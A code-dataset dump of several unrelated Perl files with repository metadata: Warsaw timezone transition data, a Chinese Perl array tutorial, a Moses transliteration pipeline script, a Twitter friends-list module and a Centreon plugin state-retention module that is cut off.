2008-03-30 03:00:00 (Sun) 63360673200, # local_end 2008-10-26 03:00:00 (Sun) 7200, 1, 'CEST', ], [ 63360666000, # utc_start 2008-10-26 01:00:00 (Sun) 63373971600, # utc_end 2009-03-29 01:00:00 (Sun) 63360669600, # local_start 2008-10-26 02:00:00 (Sun) 63373975200, # local_end 2009-03-29 02:00:00 (Sun) 3600, 0, 'CET', ], [ 63373971600, # utc_start 2009-03-29 01:00:00 (Sun) 63392115600, # utc_end 2009-10-25 01:00:00 (Sun) 63373978800, # local_start 2009-03-29 03:00:00 (Sun) 63392122800, # local_end 2009-10-25 03:00:00 (Sun) 7200, 1, 'CEST', ], [ 63392115600, # utc_start 2009-10-25 01:00:00 (Sun) 63405421200, # utc_end 2010-03-28 01:00:00 (Sun) 63392119200, # local_start 2009-10-25 02:00:00 (Sun) 63405424800, # local_end 2010-03-28 02:00:00 (Sun) 3600, 0, 'CET', ], [ 63405421200, # utc_start 2010-03-28 01:00:00 (Sun) 63424170000, # utc_end 2010-10-31 01:00:00 (Sun) 63405428400, # local_start 2010-03-28 03:00:00 (Sun) 63424177200, # local_end 2010-10-31 03:00:00 (Sun) 7200, 1, 'CEST', ], [ 63424170000, # utc_start 2010-10-31 01:00:00 (Sun) 63436870800, # utc_end 2011-03-27 01:00:00 (Sun) 63424173600, # local_start 2010-10-31 02:00:00 (Sun) 63436874400, # local_end 2011-03-27 02:00:00 (Sun) 3600, 0, 'CET', ], [ 63436870800, # utc_start 2011-03-27 01:00:00 (Sun) 63455619600, # utc_end 2011-10-30 01:00:00 (Sun) 63436878000, # local_start 2011-03-27 03:00:00 (Sun) 63455626800, # local_end 2011-10-30 03:00:00 (Sun) 7200, 1, 'CEST', ], [ 63455619600, # utc_start 2011-10-30 01:00:00 (Sun) 63468320400, # utc_end 2012-03-25 01:00:00 (Sun) 63455623200, # local_start 2011-10-30 02:00:00 (Sun) 63468324000, # local_end 2012-03-25 02:00:00 (Sun) 3600, 0, 'CET', ], [ 63468320400, # utc_start 2012-03-25 01:00:00 (Sun) 63487069200, # utc_end 2012-10-28 01:00:00 (Sun) 63468327600, # local_start 2012-03-25 03:00:00 (Sun) 63487076400, # local_end 2012-10-28 03:00:00 (Sun) 7200, 1, 'CEST', ], [ 63487069200, # utc_start 2012-10-28 01:00:00 (Sun) 63500374800, # utc_end 2013-03-31 01:00:00 (Sun) 63487072800, # local_start 2012-10-28 02:00:00 (Sun) 63500378400, # local_end 2013-03-31 02:00:00 (Sun) 3600, 0, 'CET', ], [ 63500374800, # utc_start 2013-03-31 01:00:00 (Sun) 63518518800, # utc_end 2013-10-27 01:00:00 (Sun) 63500382000, # local_start 2013-03-31 03:00:00 (Sun) 63518526000, # local_end 2013-10-27 03:00:00 (Sun) 7200, 1, 'CEST', ], [ 63518518800, # utc_start 2013-10-27 01:00:00 (Sun) 63531824400, # utc_end 2014-03-30 01:00:00 (Sun) 63518522400, # local_start 2013-10-27 02:00:00 (Sun) 63531828000, # local_end 2014-03-30 02:00:00 (Sun) 3600, 0, 'CET', ], [ 63531824400, # utc_start 2014-03-30 01:00:00 (Sun) 63549968400, # utc_end 2014-10-26 01:00:00 (Sun) 63531831600, # local_start 2014-03-30 03:00:00 (Sun) 63549975600, # local_end 2014-10-26 03:00:00 (Sun) 7200, 1, 'CEST', ], [ 63549968400, # utc_start 2014-10-26 01:00:00 (Sun) 63563274000, # utc_end 2015-03-29 01:00:00 (Sun) 63549972000, # local_start 2014-10-26 02:00:00 (Sun) 63563277600, # local_end 2015-03-29 02:00:00 (Sun) 3600, 0, 'CET', ], [ 63563274000, # utc_start 2015-03-29 01:00:00 (Sun) 63581418000, # utc_end 2015-10-25 01:00:00 (Sun) 63563281200, # local_start 2015-03-29 03:00:00 (Sun) 63581425200, # local_end 2015-10-25 03:00:00 (Sun) 7200, 1, 'CEST', ], [ 63581418000, # utc_start 2015-10-25 01:00:00 (Sun) 63594723600, # utc_end 2016-03-27 01:00:00 (Sun) 63581421600, # local_start 2015-10-25 02:00:00 (Sun) 63594727200, # local_end 2016-03-27 02:00:00 (Sun) 3600, 0, 'CET', ], [ 63594723600, # utc_start 2016-03-27 01:00:00 (Sun) 63613472400, # utc_end 2016-10-30 01:00:00 (Sun) 63594730800, # local_start 2016-03-27 03:00:00 (Sun) 63613479600, # local_end 2016-10-30 03:00:00 (Sun) 7200, 1, 'CEST', ], [ 63613472400, # utc_start 2016-10-30 01:00:00 (Sun) 63626173200, # utc_end 2017-03-26 01:00:00 (Sun) 63613476000, # local_start 2016-10-30 02:00:00 (Sun) 63626176800, # local_end 2017-03-26 02:00:00 (Sun) 3600, 0, 'CET', ], [ 63626173200, # utc_start 2017-03-26 01:00:00 (Sun) 63644922000, # utc_end 2017-10-29 01:00:00 (Sun) 63626180400, # local_start 2017-03-26 03:00:00 (Sun) 63644929200, # local_end 2017-10-29 03:00:00 (Sun) 7200, 1, 'CEST', ], [ 63644922000, # utc_start 2017-10-29 01:00:00 (Sun) 63657622800, # utc_end 2018-03-25 01:00:00 (Sun) 63644925600, # local_start 2017-10-29 02:00:00 (Sun) 63657626400, # local_end 2018-03-25 02:00:00 (Sun) 3600, 0, 'CET', ], [ 63657622800, # utc_start 2018-03-25 01:00:00 (Sun) 63676371600, # utc_end 2018-10-28 01:00:00 (Sun) 63657630000, # local_start 2018-03-25 03:00:00 (Sun) 63676378800, # local_end 2018-10-28 03:00:00 (Sun) 7200, 1, 'CEST', ], [ 63676371600, # utc_start 2018-10-28 01:00:00 (Sun) 63689677200, # utc_end 2019-03-31 01:00:00 (Sun) 63676375200, # local_start 2018-10-28 02:00:00 (Sun) 63689680800, # local_end 2019-03-31 02:00:00 (Sun) 3600, 0, 'CET', ], [ 63689677200, # utc_start 2019-03-31 01:00:00 (Sun) 63707821200, # utc_end 2019-10-27 01:00:00 (Sun) 63689684400, # local_start 2019-03-31 03:00:00 (Sun) 63707828400, # local_end 2019-10-27 03:00:00 (Sun) 7200, 1, 'CEST', ], [ 63707821200, # utc_start 2019-10-27 01:00:00 (Sun) 63721126800, # utc_end 2020-03-29 01:00:00 (Sun) 63707824800, # local_start 2019-10-27 02:00:00 (Sun) 63721130400, # local_end 2020-03-29 02:00:00 (Sun) 3600, 0, 'CET', ], [ 63721126800, # utc_start 2020-03-29 01:00:00 (Sun) 63739270800, # utc_end 2020-10-25 01:00:00 (Sun) 63721134000, # local_start 2020-03-29 03:00:00 (Sun) 63739278000, # local_end 2020-10-25 03:00:00 (Sun) 7200, 1, 'CEST', ], [ 63739270800, # utc_start 2020-10-25 01:00:00 (Sun) 63752576400, # utc_end 2021-03-28 01:00:00 (Sun) 63739274400, # local_start 2020-10-25 02:00:00 (Sun) 63752580000, # local_end 2021-03-28 02:00:00 (Sun) 3600, 0, 'CET', ], [ 63752576400, # utc_start 2021-03-28 01:00:00 (Sun) 63771325200, # utc_end 2021-10-31 01:00:00 (Sun) 63752583600, # local_start 2021-03-28 03:00:00 (Sun) 63771332400, # local_end 2021-10-31 03:00:00 (Sun) 7200, 1, 'CEST', ], [ 63771325200, # utc_start 2021-10-31 01:00:00 (Sun) 63784026000, # utc_end 2022-03-27 01:00:00 (Sun) 63771328800, # local_start 2021-10-31 02:00:00 (Sun) 63784029600, # local_end 2022-03-27 02:00:00 (Sun) 3600, 0, 'CET', ], [ 63784026000, # utc_start 2022-03-27 01:00:00 (Sun) 63802774800, # utc_end 2022-10-30 01:00:00 (Sun) 63784033200, # local_start 2022-03-27 03:00:00 (Sun) 63802782000, # local_end 2022-10-30 03:00:00 (Sun) 7200, 1, 'CEST', ], [ 63802774800, # utc_start 2022-10-30 01:00:00 (Sun) 63815475600, # utc_end 2023-03-26 01:00:00 (Sun) 63802778400, # local_start 2022-10-30 02:00:00 (Sun) 63815479200, # local_end 2023-03-26 02:00:00 (Sun) 3600, 0, 'CET', ], [ 63815475600, # utc_start 2023-03-26 01:00:00 (Sun) 63834224400, # utc_end 2023-10-29 01:00:00 (Sun) 63815482800, # local_start 2023-03-26 03:00:00 (Sun) 63834231600, # local_end 2023-10-29 03:00:00 (Sun) 7200, 1, 'CEST', ], [ 63834224400, # utc_start 2023-10-29 01:00:00 (Sun) 63847530000, # utc_end 2024-03-31 01:00:00 (Sun) 63834228000, # local_start 2023-10-29 02:00:00 (Sun) 63847533600, # local_end 2024-03-31 02:00:00 (Sun) 3600, 0, 'CET', ], [ 63847530000, # utc_start 2024-03-31 01:00:00 (Sun) 63865674000, # utc_end 2024-10-27 01:00:00 (Sun) 63847537200, # local_start 2024-03-31 03:00:00 (Sun) 63865681200, # local_end 2024-10-27 03:00:00 (Sun) 7200, 1, 'CEST', ], [ 63865674000, # utc_start 2024-10-27 01:00:00 (Sun) 63878979600, # utc_end 2025-03-30 01:00:00 (Sun) 63865677600, # local_start 2024-10-27 02:00:00 (Sun) 63878983200, # local_end 2025-03-30 02:00:00 (Sun) 3600, 0, 'CET', ], [ 63878979600, # utc_start 2025-03-30 01:00:00 (Sun) 63897123600, # utc_end 2025-10-26 01:00:00 (Sun) 63878986800, # local_start 2025-03-30 03:00:00 (Sun) 63897130800, # local_end 2025-10-26 03:00:00 (Sun) 7200, 1, 'CEST', ], [ 63897123600, # utc_start 2025-10-26 01:00:00 (Sun) 63910429200, # utc_end 2026-03-29 01:00:00 (Sun) 63897127200, # local_start 2025-10-26 02:00:00 (Sun) 63910432800, # local_end 2026-03-29 02:00:00 (Sun) 3600, 0, 'CET', ], [ 63910429200, # utc_start 2026-03-29 01:00:00 (Sun) 63928573200, # utc_end 2026-10-25 01:00:00 (Sun) 63910436400, # local_start 2026-03-29 03:00:00 (Sun) 63928580400, # local_end 2026-10-25 03:00:00 (Sun) 7200, 1, 'CEST', ], [ 63928573200, # utc_start 2026-10-25 01:00:00 (Sun) 63941878800, # utc_end 2027-03-28 01:00:00 (Sun) 63928576800, # local_start 2026-10-25 02:00:00 (Sun) 63941882400, # local_end 2027-03-28 02:00:00 (Sun) 3600, 0, 'CET', ], [ 63941878800, # utc_start 2027-03-28 01:00:00 (Sun) 63960627600, # utc_end 2027-10-31 01:00:00 (Sun) 63941886000, # local_start 2027-03-28 03:00:00 (Sun) 63960634800, # local_end 2027-10-31 03:00:00 (Sun) 7200, 1, 'CEST', ], ]; sub olson_version {'2016a'} sub has_dst_changes {72} sub _max_year {2026} sub _new_instance { return shift->_init( @_, spans => $spans ); } sub _last_offset { 3600 } my $last_observance = bless( { 'format' => 'CE%sT', 'gmtoff' => '1:00', 'local_start_datetime' => bless( { 'formatter' => undef, 'local_rd_days' => 725737, 'local_rd_secs' => 0, 'offset_modifier' => 0, 'rd_nanosecs' => 0, 'tz' => bless( { 'name' => 'floating', 'offset' => 0 }, 'DateTime::TimeZone::Floating' ), 'utc_rd_days' => 725737, 'utc_rd_secs' => 0, 'utc_year' => 1989 }, 'DateTime' ), 'offset_from_std' => 0, 'offset_from_utc' => 3600, 'until' => [], 'utc_start_datetime' => bless( { 'formatter' => undef, 'local_rd_days' => 725736, 'local_rd_secs' => 82800, 'offset_modifier' => 0, 'rd_nanosecs' => 0, 'tz' => bless( { 'name' => 'floating', 'offset' => 0 }, 'DateTime::TimeZone::Floating' ), 'utc_rd_days' => 725736, 'utc_rd_secs' => 82800, 'utc_year' => 1988 }, 'DateTime' ) }, 'DateTime::TimeZone::OlsonDB::Observance' ) ; sub _last_observance { $last_observance } my $rules = [ bless( { 'at' => '1:00u', 'from' => '1996', 'in' => 'Oct', 'letter' => '', 'name' => 'EU', 'offset_from_std' => 0, 'on' => 'lastSun', 'save' => '0', 'to' => 'max', 'type' => undef }, 'DateTime::TimeZone::OlsonDB::Rule' ), bless( { 'at' => '1:00u', 'from' => '1981', 'in' => 'Mar', 'letter' => 'S', 'name' => 'EU', 'offset_from_std' => 3600, 'on' => 'lastSun', 'save' => '1:00', 'to' => 'max', 'type' => undef }, 'DateTime::TimeZone::OlsonDB::Rule' ) ] ; sub _rules { $rules } 1;
jkb78/extrajnm
local/lib/perl5/DateTime/TimeZone/Europe/Warsaw.pm
Perl
mit
38,685
#!/usr/bin/perl #use strict; my @hits = (25, 30, 40); my @names = ("google", "runoob", "taobao"); print "\$hits[0] = $hits[0]\n"; print "\$hits[1] = $hits[1]\n"; print "\$hits[2] = $hits[2]\n"; print "\$names[0] = $names[0]\n"; print "\$names[1] = $names[1]\n"; print "\$names[2] = $names[2]\n"; my @array = (1, 2, 'Hello'); print "\$array[0] = $array[0]\n"; print "\$array[1] = $array[1]\n"; print "\$array[2] = $array[2]\n"; my @array = qw/这是 一个 数组/; print "\$array[0] = $array[0]\n"; print "\$array[1] = $array[1]\n"; print "\$array[2] = $array[2]\n"; my @sites = qw/google taobao runoob/; print "$sites[0]\n"; print "$sites[1]\n"; print "$sites[2]\n"; print "$sites[-1]\n"; # 负数,反向读取 my @var_10 = (1..10); my @var_20 = (10..20); my @var_abc = (a..z); print "@var_10\n"; # 输出 1 到 10 print "@var_20\n"; # 输出 10 到 20 print "@var_abc\n"; # 输出 a 到 z my @array = (1,2,3); $array[50] = 4; my $size = @array; my $max_index = $#array; print "数组大小: $size\n"; print "最大索引: $max_index\n"; # 切割数组 array my @sites = qw/google taobao runoob weibo qq facebook 网易/; my @sites2 = @sites[3,4,5]; print "@sites2\n"; my @sites3 = @sites[3..6]; print "@sites3\n"; # 替换元素 @nums = (1..30); print "替换前: @nums\n"; splice(@nums, 5,6,21..26); print "替换后: @nums\n"; # 将字符串转换为数组 # 定义字符串 $var_test = "runoob"; $var_string = "www-runoob-com"; $var_names = "google,taobao,runoob,weibo"; # 字符串转为数组 @test = split('', $var_test); @string = split('-', $var_string); @names = split(',', $var_names); print "$test[3]\n"; # 输出 o print "$string[2]\n"; # 输出 com print "$names[0]\n"; # 输出 weibo # 数组转换为字符串 # 定义字符串 $var_string = "www-runoob-com"; $var_names = "google,taobao,runoob,weibo"; # 字符串转为数组 @string = split('-', $var_string); @names = split(',', $var_names); # 数组转为字符串 $string1 = join( '.', @string ); $string2 = join( ' ', @names ); print "$string1\n"; print "$string2\n"; # 定义数组 @sites = qw(google taobao runoob facebook); print "排序前: @sites\n"; # 对数组进行排序 @sites = sort(@sites); print "排序前: @sites\n"; # 特殊变量 $[ 数组第一索引值,一般为0,可以设置 #定义数组 @sites = qw(google amazon taobao runoob facebook); print "网站: @sites\n"; # 设置数组的第一个索引为 1 $[ = 1; print "\@sites[1]: $sites[1]\n"; print "\@sites[2]: $sites[2]\n"; # 合并数组 @numbers = (1,3,(4,5,6)); print "numbers = @numbers\n"; @odd = (1,3,5); @even = (2, 4, 6); @numbers = (@odd, @even); print "numbers = @numbers\n"; # 从列表中选择元素 $var = (5,4,3,2,1)[3]; print "var 的值为 = $var\n"; @list = (5,4,3,2,1)[1..3]; print "list 的值 = @list\n"; @arr = (4,7,21,111); print "befor: @arr\n"; $ele = shift @arr; print "\$ele = $ele\n"; print "after: @arr\n";
haohaibo/tutorial
perl/perl-tutorial/array/array.pl
Perl
mit
2,977
#!/usr/bin/perl -w use strict; use utf8; use File::Basename; use Getopt::Long "GetOptions"; use FindBin qw($RealBin); use Scalar::Util qw(looks_like_number); use IO::Handle; binmode(STDIN, ':utf8'); binmode(STDOUT, ':utf8'); binmode(STDERR, ':utf8'); my $___FACTOR_DELIMITER = "|"; my $OUT_FILE = "/tmp/transliteration-phrase-table.$$"; my ($MOSES_SRC_DIR,$TRANSLIT_MODEL,$OOV_FILE, $OOV_FILE_NAME, $EXTERNAL_BIN_DIR, $LM_FILE, $INPUT_EXTENSION, $OUTPUT_EXTENSION); die("ERROR: wrong syntax when invoking in-decoding-transliteration.perl") unless &GetOptions('moses-src-dir=s' => \$MOSES_SRC_DIR, 'external-bin-dir=s' => \$EXTERNAL_BIN_DIR, 'transliteration-model-dir=s' => \$TRANSLIT_MODEL, 'input-extension=s' => \$INPUT_EXTENSION, 'output-extension=s' => \$OUTPUT_EXTENSION, 'transliteration-file=s' => \$OOV_FILE, 'out-file=s' => \$OUT_FILE); # check if the files are in place die("ERROR: you need to define --moses-src-dir --external-bin-dir, --transliteration-model-dir, --transliteration-file, --input-extension, and --output-extension") unless (defined($MOSES_SRC_DIR) && defined($TRANSLIT_MODEL) && defined($OOV_FILE) && defined($INPUT_EXTENSION)&& defined($OUTPUT_EXTENSION)&& defined($EXTERNAL_BIN_DIR)); die("ERROR: could not find Transliteration Model '$TRANSLIT_MODEL'") unless -e $TRANSLIT_MODEL; die("ERROR: could not find Transliteration file $OOV_FILE'") unless -e $OOV_FILE; $OOV_FILE_NAME = basename ($OOV_FILE); `mkdir $TRANSLIT_MODEL/evaluation`; `cp $OOV_FILE $TRANSLIT_MODEL/evaluation/`; my $translitFile = $TRANSLIT_MODEL . "/evaluation/" . $OOV_FILE_NAME; print "Preparing for Transliteration\n"; prepare_for_transliteration ($OOV_FILE, $translitFile); print "Run Transliteration\n"; run_transliteration ($MOSES_SRC_DIR , $EXTERNAL_BIN_DIR , $TRANSLIT_MODEL , $OOV_FILE_NAME); print "Pick Best Transliteration\n"; form_corpus ($translitFile , $translitFile.".op.nBest" , $OUT_FILE); ################### Read the UNK word file and prepare for Transliteration ############################### sub prepare_for_transliteration { my @list = @_; my $testFile = $list[0]; my $translitFile = $list[1]; my %UNK; my @words; my $src; my @tW; open MYFILE, "<:encoding(UTF-8)", $testFile or die "Can't open $testFile: $!\n"; while (<MYFILE>) { chomp; #print "$_\n"; @words = split(/ /, "$_"); foreach (@words) { @tW = split /\Q$___FACTOR_DELIMITER/; if (defined $tW[0]) { if (! ($tW[0] =~ /[0-9.,]/)) { $UNK{$tW[0]} = 1; } else { print "Not transliterating $tW[0] \n"; } } } } close (MYFILE); open MYFILE, ">:encoding(UTF-8)", $translitFile or die "Can't open $translitFile: $!\n"; foreach my $key ( keys %UNK ) { $src=join(' ', split('',$key)); print MYFILE "$src\n"; } close (MYFILE); } ################### Run Transliteration Module to Obtain Transliterations ############################### sub run_transliteration { my @list = @_; my $MOSES_SRC = $list[0]; my $EXTERNAL_BIN_DIR = $list[1]; my $TRANSLIT_MODEL = $list[2]; my $eval_file = $list[3]; `touch $TRANSLIT_MODEL/evaluation/$eval_file.moses.table.ini`; print "Filter Table\n"; `$MOSES_SRC/scripts/training/train-model.perl -mgiza -mgiza-cpus 10 -dont-zip -first-step 9 -external-bin-dir $EXTERNAL_BIN_DIR -f $INPUT_EXTENSION -e $OUTPUT_EXTENSION -alignment grow-diag-final-and -parts 5 -score-options '--KneserNey' -phrase-translation-table $TRANSLIT_MODEL/model/phrase-table -config $TRANSLIT_MODEL/evaluation/$eval_file.moses.table.ini -lm 0:3:$TRANSLIT_MODEL/evaluation/$eval_file.moses.table.ini:8`; `$MOSES_SRC/scripts/training/filter-model-given-input.pl $TRANSLIT_MODEL/evaluation/$eval_file.filtered $TRANSLIT_MODEL/evaluation/$eval_file.moses.table.ini $TRANSLIT_MODEL/evaluation/$eval_file -Binarizer "$MOSES_SRC/bin/processPhraseTable"`; `rm $TRANSLIT_MODEL/evaluation/$eval_file.moses.table.ini`; print "Apply Filter\n"; `$MOSES_SRC/scripts/ems/support/substitute-filtered-tables-and-weights.perl $TRANSLIT_MODEL/evaluation/$eval_file.filtered/moses.ini $TRANSLIT_MODEL/model/moses.ini $TRANSLIT_MODEL/tuning/moses.tuned.ini $TRANSLIT_MODEL/evaluation/$eval_file.filtered.ini`; `$MOSES_SRC/bin/moses -search-algorithm 1 -cube-pruning-pop-limit 5000 -s 5000 -threads 16 -drop-unknown -distortion-limit 0 -n-best-list $TRANSLIT_MODEL/evaluation/$eval_file.op.nBest 100 distinct -f $TRANSLIT_MODEL/evaluation/$eval_file.filtered.ini < $TRANSLIT_MODEL/evaluation/$eval_file > $TRANSLIT_MODEL/evaluation/$eval_file.op`; } ################### Read the output of Transliteration Model and Form Corpus ############################### sub form_corpus { my @list = @_; my $inp_file = $list[0]; my $testFile = $list[1]; my @words; my $thisStr; my $features; my $prev = 0; my $sNum; my @UNK; my %vocab; my $antLog = exp(0.2); my $phraseTable = $list[2]; open MYFILE, "<:encoding(UTF-8)", $inp_file or die "Can't open $inp_file: $!\n"; open PT, ">:encoding(UTF-8)", $phraseTable or die "Can't open $phraseTable: $!\n"; while (<MYFILE>) { chomp; #print "$_\n"; @words = split(/ /, "$_"); $thisStr = ""; foreach (@words) { $thisStr = $thisStr . "$_"; } push(@UNK, $thisStr); $vocab{$thisStr} = 1; } close (MYFILE); open MYFILE, "<:encoding(UTF-8)", $testFile or die "Can't open $testFile: $!\n"; my $inpCount = 0; while (<MYFILE>) { chomp; #print "$_\n"; @words = split(/ /, "$_"); $sNum = $words[0]; if ($prev != $sNum){ $inpCount++; } my $i = 2; $thisStr = ""; $features = ""; while ($words[$i] ne "|||") { $thisStr = $thisStr . $words[$i]; $i++; } $i++; while ($words[$i] ne "|||") { if ($words[$i] =~ /Penalty0/ || $words[$i] eq "Distortion0=" || $words[$i] eq "LM0=" ){ $i++; } elsif (looks_like_number($words[$i])){ $features = $features . " " . exp($words[$i]); } $i++; } $i++; #$features = $features . " " . $words[$i]; if ($thisStr ne ""){ print PT "$UNK[$inpCount] ||| $thisStr ||| $features ||| 0-0 ||| 0 0 0\n"; } $prev = $sNum; } close (MYFILE); close (PT); `gzip $phraseTable`; }
shyamjvs/cs626_project
stat_moses/tools/moses/scripts/Transliteration/in-decoding-transliteration.pl
Perl
apache-2.0
6,355
package TwitterFriends; use strict; use warnings; use Net::Twitter::Lite::WithAPIv1_1; use LWP::Simple; use Scalar::Util 'blessed'; use Data::Dumper; use Carp; sub new { my ($class) = @_ ; my $obj = bless {}, $class ; my $nt = Net::Twitter::Lite::WithAPIv1_1->new ( consumer_key => $ENV{TWITTER_API_KEY}, consumer_secret => $ENV{TWITTER_API_SECRET}, access_token => $ENV{TWITTER_ACCESS_TOKEN}, access_token_secret => $ENV{TWITTER_ACCESS_TOKEN_SECRET}, ssl => 1, ); $obj->{nt} = $nt; return $obj; } sub friends { my $self = shift; my @friends; my $friends; my $cursor = -1; while ($cursor) { my $rls = $self->{nt}->rate_limit_status; warn Dumper($rls->{resources}->{friends}->{'/friends/list'}); eval { $friends = $self->{nt}->friends_list({cursor => $cursor}); foreach my $u ( @{ $friends->{users} } ) { warn $u->{name}, " ", $u->{url}, " ", $u->{screen_name}; push @friends, { friends_count => $u->{friends_count}, followers_count => $u->{followers_count}, name => $u->{name}, created_at => $u->{status}->{created_at}, id => $u->{id}, url => $u->{url}, screen_name => $u->{screen_name}, } ; } } ; if ($@) { croak $@; } $cursor = $friends->{next_cursor}; sleep 5; } warn $#{ $friends }; warn Dumper($@{ $friends }); return \@friends; } 1;
davehodg/twitter_friends
lib/TwitterFriends.pm
Perl
apache-2.0
1,577
# # Copyright 2018 Centreon (http://www.centreon.com/) # # Centreon is a full-fledged industry-strength solution that meets # the needs in IT infrastructure and application monitoring for # service performance. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # package centreon::plugins::statefile; use strict; use warnings; use Data::Dumper; use vars qw($datas); use centreon::plugins::misc; my $default_dir = '/var/lib/centreon/centplugins'; sub new { my ($class, %options) = @_; my $self = {}; bless $self, $class; if (defined($options{options})) { $options{options}->add_options(arguments => { "memcached:s" => { name => 'memcached' }, "redis-server:s" => { name => 'redis_server' }, 'redis-attribute:s%' => { name => 'redis_attribute' }, "memexpiration:s" => { name => 'memexpiration', default => 86400 }, "statefile-dir:s" => { name => 'statefile_dir', default => $default_dir }, "statefile-suffix:s" => { name => 'statefile_suffix', default => '' }, "statefile-concat-cwd" => { name => 'statefile_concat_cwd' }, "statefile-storable" => { name => 'statefile_storable' }, }); $options{options}->add_help(package => __PACKAGE__, sections => 'RETENTION OPTIONS', once => 1); } $self->{error} = 0; $self->{output} = $options{output}; $self->{datas} = {}; $self->{storable} = 0; $self->{memcached_ok} = 0; $self->{memcached} = undef; $self->{statefile_dir} = undef; $self->{statefile_suffix} = undef; return $self; } sub check_options { my ($self, %options) = @_; if (defined($options{option_results}) && defined($options{option_results}->{memcached})) { centreon::plugins::misc::mymodule_load(output => $self->{output}, module => 'Memcached::libmemcached', error_msg => "Cannot load module 'Memcached::libmemcached'."); $self->{memcached} = Memcached::libmemcached->new(); Memcached::libmemcached::memcached_server_add($self->{memcached}, $options{option_results}->{memcached}); } # Check redis if (defined($options{option_results}->{redis_server})) { $self->{redis_attributes} = ''; if (defined($options{option_results}->{redis_attribute})) { foreach (keys %{$options{option_results}->{redis_attribute}}) { $self->{redis_attributes} .= "$_ => " . $options{option_results}->{redis_attribute}->{$_} . ", "; } } centreon::plugins::misc::mymodule_load(output => $self->{output}, module => 'Redis', error_msg => "Cannot load module 'Redis'."); eval { $self->{redis_cnx} = Redis->new(server => $options{option_results}->{redis_server}, eval $self->{redis_attributes}); }; } $self->{statefile_dir} = $options{option_results}->{statefile_dir}; if ($self->{statefile_dir} ne $default_dir && defined($options{option_results}->{statefile_concat_cwd})) { centreon::plugins::misc::mymodule_load(output => $self->{output}, module => 'Cwd', error_msg => "Cannot load module 'Cwd'."); $self->{statefile_dir} = Cwd::cwd() . '/' . $self->{statefile_dir}; } if (defined($options{option_results}->{statefile_storable})) { centreon::plugins::misc::mymodule_load(output => $self->{output}, module => 'Storable', error_msg => "Cannot load module 'Storable'."); $self->{storable} = 1; } $self->{statefile_suffix} = $options{option_results}->{statefile_suffix}; $self->{memexpiration} = $options{option_results}->{memexpiration}; } sub error { my ($self) = shift; if (@_) { $self->{error} = $_[0]; } return $self->{error}; } sub read { my ($self, %options) = @_; $self->{statefile_suffix} = defined($options{statefile_suffix}) ? $options{statefile_suffix} : $self->{statefile_suffix}; $self->{statefile_dir} = defined($options{statefile_dir}) ? $options{statefile_dir} : $self->{statefile_dir}; $self->{statefile} = defined($options{statefile}) ? $options{statefile} . $self->{statefile_suffix} : $self->{statefile}; $self->{no_quit} = defined($options{no_quit}) && $options{no_quit} == 1 ? 1 : 0; if (defined($self->{memcached})) { # if "SUCCESS" or "NOT FOUND" is ok. Other with use the file my $val = Memcached::libmemcached::memcached_get($self->{memcached}, $self->{statefile_dir} . "/" . $self->{statefile}); if (defined($self->{memcached}->errstr) && $self->{memcached}->errstr =~ /^SUCCESS|NOT FOUND$/i) { $self->{memcached_ok} = 1; if (defined($val)) { eval( $val ); $self->{datas} = $datas; $datas = {}; return 1; } return 0; } } if (defined($self->{redis_cnx})) { my $val = $self->{redis_cnx}->get($self->{statefile_dir} . "/" . $self->{statefile}); if (defined($val)) { eval($val); $self->{datas} = $datas; $datas = {}; return 1; } return 0; } if (! -e $self->{statefile_dir} . "/" . $self->{statefile}) { if (! -w $self->{statefile_dir}) { $self->error(1); $self->{output}->add_option_msg(short_msg => "Cannot write statefile '" . $self->{statefile_dir} . "/" . $self->{statefile} . "'. Need write permissions on directory."); if ($self->{no_quit} == 0) { $self->{output}->option_exit(); } } return 0; } elsif (! -w $self->{statefile_dir} . "/" . $self->{statefile}) { $self->error(1); $self->{output}->add_option_msg(short_msg => "Cannot write statefile '" . $self->{statefile_dir} . "/" . $self->{statefile} . "'. Need write permissions on file."); if ($self->{no_quit} == 0) { $self->{output}->option_exit(); } return 1; } elsif (! -s $self->{statefile_dir} . "/" . $self->{statefile}) { # Empty file. Not a problem. Maybe plugin not manage not values return 0; } if ($self->{storable} == 1) { open FILE, $self->{statefile_dir} . "/" . $self->{statefile}; eval { $self->{datas} = Storable::fd_retrieve(*FILE); }; # File is corrupted surely. We'll reset it if ($@) { close FILE; return 0; } close FILE; } else { unless (my $return = do $self->{statefile_dir} . "/" . $self->{statefile}) { # File is corrupted surely. We'll reset it return 0; #if ($@) { # $self->{output}->add_option_msg(short_msg => "Couldn't parse '" . $self->{statefile_dir} . "/" . $self->{statefile} . "': $@"); # $self->{output}->option_exit(); #} #unless (defined($return)) { # $self->{output}->add_option_msg(short_msg => "Couldn't do '" . $self->{statefile_dir} . "/" . $self->{statefile} . "': $!"); # $self->{output}->option_exit(); #} #unless ($return) { # $self->{output}->add_option_msg(short_msg => "Couldn't run '" . $self->{statefile_dir} . "/" . $self->{statefile} . "': $!"); # $self->{output}->option_exit(); } $self->{datas} = $datas; $datas = {}; } return 1; } sub get_string_content { my ($self, %options) = @_; return Data::Dumper::Dumper($self->{datas}); } sub get { my ($self, %options) = @_; if (defined($self->{datas}->{$options{name}})) { return $self->{datas}->{$options{name}}; } return undef; } sub write { my ($self, %options) = @_; if ($self->{memcached_ok} == 1) { Memcached::libmemcached::memcached_set($self->{memcached}, $self->{statefile_dir} . "/" . $self->{statefile}, Data::Dumper->Dump([$options{data}], ["datas"]), $self->{memexpiration}); if (defined($self->{memcached}->errstr) && $self->{memcached}->errstr =~ /^SUCCESS$/i) { return ; } } if (defined($self->{redis_cnx})) { return if (defined($self->{redis_cnx}->set($self->{statefile_dir} . "/" . $self->{statefile}, Data::Dumper->Dump([$options{data}], ["datas"]), 'EX', $self->{memexpiration}))); } open FILE, ">", $self->{statefile_dir} . "/" . $self->{statefile}; if ($self->{storable} == 1) { Storable::store_fd($options{data}, *FILE); } else { print FILE Data::Dumper->Dump([$options{data}], ["datas"]); } close FILE; } 1; __END__ =head1 NAME Statefile class =head1 SYNOPSIS - =head1 RETENTION OPTIONS =over 8 =item B<--memcached> Memcached server to use (only one server). =item B<--redis-server> Redis server to use (only one server). =item B<--redis-attribute> Set Redis Options (--redis-attribute="cnx_timeout=5"). =item B<--memexpiration> Time to keep data in seconds (Default: 